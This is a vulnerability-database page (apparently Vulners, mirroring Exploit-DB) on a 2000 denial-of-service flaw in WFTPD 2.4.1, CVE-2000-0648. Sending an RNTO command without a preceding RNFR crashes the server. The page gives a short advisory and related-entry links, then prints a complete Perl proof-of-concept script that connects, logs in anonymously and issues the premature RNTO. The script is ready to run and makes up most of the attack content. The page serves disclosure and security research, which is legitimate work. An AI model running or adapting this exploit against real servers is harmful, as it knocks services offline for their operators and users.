Lucene search
+L

Texas Imperial Software WFTPD 2.4.1 - RNTO Denial of Service

🗓️ 11 Jul 2000 00:00:00Reported by Blue PandaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Denial of service possible in WFtpd 2.4.1 by using RNTO command prematurely. Requires restart.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
WFTP < 2.41 RNTO Command Handling DoS
20 Aug 200400:00
nessus
nessus
Tenable Nessus
WFTPD Out-of-Sequence RNTO Command DoS
15 Jul 200000:00
nessus
cve
CVE
CVE-2000-0648
3 Aug 200004:00
cve
cvelist
Cvelist
CVE-2000-0648
3 Aug 200004:00
cvelist
euvd
EUVD
EUVD-2000-0644
7 Oct 202500:30
euvd
nvd
NVD
CVE-2000-0648
11 Jul 200004:00
nvd
source: https://www.securityfocus.com/bid/1456/info

It is possible for a user to cause a denial of service against the WFtpd server. Requesting an RNTO command without using the RNFR command first will cause the server service to stop responding. A restart of the service is required to gain normal functionality.



#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC10 denial-of-service
# Blue Panda - [email protected]
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Issues an RNTO command without first using RNFR, causing WFTPD to crash.
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p\@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "failed.\n";
print "done.\n";

# Login and issue premature RNTO command.
print $socket "USER $user\nPASS $pass\nRNTO x\n";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03605
32